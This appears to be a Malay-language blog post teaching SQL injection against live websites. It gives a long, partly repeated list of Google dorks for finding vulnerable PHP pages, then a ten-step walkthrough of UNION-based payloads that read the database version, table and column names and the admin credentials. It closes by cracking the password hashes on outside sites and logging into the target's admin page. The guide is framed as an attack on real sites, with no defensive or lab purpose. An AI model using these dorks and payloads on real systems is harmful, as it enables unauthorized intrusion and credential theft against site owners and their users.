SQL ialah singkatan untuk Structured Query Language. SQL biasanya digunakan untuk buat database dan maklumat dapat disimpan didalamnya.
SQL Injection adalah salah satu teknik penyerangan ke sebuah web dengan cara memasukkan perintah sql ke url target sehingga attacker boleh memperoleh informasi penting dari website tersebut. Seperti nama user, password, email, dan masih banyak lagi informasi yang boleh didapatkan.
Langkah 1: Cari website untuk di inject
Mencari SQLI sangat mudah,semua yang perlu korang lakukan adalah Googling .
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:read.php?id=
"id=" & intext:"Warning: mysql_fetch_assoc()
"id=" & intext:"Warning: mysql_fetch_array()
"id=" & intext:"Warning: mysql_num_rows()
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:read.php?id=
"id=" & intext:"Warning: mysql_fetch_assoc()
"id=" & intext:"Warning: mysql_fetch_array()
"id=" & intext:"Warning: mysql_num_rows()
Lebih lengkap, silakan dicari di Google Dorknya
Misalkan kita mendapati sebuah web format seperti ini:
www.anything.com/something.php?something=something
Contoh:
http://www.example.com/index.php?id=3
Langkah 2: Check bug
Cek bug pada suatu website dengan menambahkan single quote ( ' ) dibelakang url, Misal Seperti ini :
http://www.example.com/index.php?id=3'
Jika muncul pesan error seperti di bawah ini, maka web tersebut berkemungkinan boleh di inject:
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by a.content_order Asc' at line 1)
Langkah 3: Cari jumlah column
Untuk mencari column gunakan perintah [order by].order by 1-- dimulai dengan angka 1, selanjutnya 2, dst Hingga muncul pesan error.
http://www.example.com/index.php?id=3 ORDER BY (number)--
Untuk target kali ini, error muncul pada angka 7.
MySQL Error: 1054 (Unknown column '7' in 'order clause')
Jadi, angka yang diambil adalah 7-1 = 6 ( Jumlah column adalah 6)
http://www.example.com/index.php?id=3 order by 6--
Langkah 4: Cari column yang dapat di akses
Selanjutnya kita akan mencari column yang dapat diakses dengan perintah “union all select”.
Jangan lupa untuk tambahkan tanda dash (-) didepan angka parameter id.
Contoh:
id=3 menjadi id=-3
http://www.example.com/index.php?id=-3 union select all 1,2,3,4,5,6--
Nombor yang di bold kan adalah column yang lebih vulnerable untuk di inject.
Oleh itu, kita pilih nombor 1 (sebagai contoh)
Langkah 5: Cari MySQL Database Version
Selanjutnya, kita cari versi database yang digunakan. Gantikan vulnerable column yang dipilih iaitu 1 dengan “@@version” ataupun “version()” kalau yang pertama tak menjadi.
http://www.example.com/index.php?id=-3 union select all @@version,2,3,4,5,6--
Muncul tulisan : 5.0.51a-community
Hasilnya kita dapat tahu version yang digunakan. Version yang digunakan mestilah 5 dan keatas. Version kurang dari 5 kena guna cara yang lain.
Langkah 6: Cari Table name
Tukarkan vulnerable column nombor kepada “table_name” dan tambahkan “from information_schema.tables where table_schema=database()--“ selepas angka 6.
http://www.example.com/index.php?id=-3 union select all table_name,2,3,4,5,6 from
information_schema.tables where table_schema=database()--
information_schema.tables where table_schema=database()--
Untuk dapatkan semua Table, gunakan “group_concat”.
http://www.example.com/index.php?id=-3 union select all group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema=database()--
Langkah 7: Cari column names
Gantikan “table” dengan “column”
http://www.example.com/index.php?id=-3 union select all group_concat(column_name),2,3,4,5,6 from information_schema.columns where table_schema=database()--
Dari situ kita dapat lihat terdapat pengulangan perkataan “id”, ia menunjukkan table number untuk setiap columns.
Langkah 8: Dapatkan data dari columns.
Data yang menarik adalah “username“ dan “password”, kedua-duanya ada pada table yang pertama iaitu “tar_admin”.
0x3a adalah tanda titik dua ( : ) yang telah diconvert ke hexa.
http://www.example.com/index.php?id=-3 union select all group_concat(username,0x3a,password),2,3,4,5,6 from tar_admin--
Langkah 9: Crack encrypted password
Kita dah dapat dah “username” dan “passwords”, tapi password nya encrypted. Jadi untuk crack password tersebut, boleh lah cuba crack kat http://md5crack.com/crackmd5.php ataupun http://www.md5decrypter.co.uk.
Langkah 10: Log in
Okey, username dah ada, password dah ada.. jadi tinggal nak log in je kat log in page website tersebut
0 comments:
Post a Comment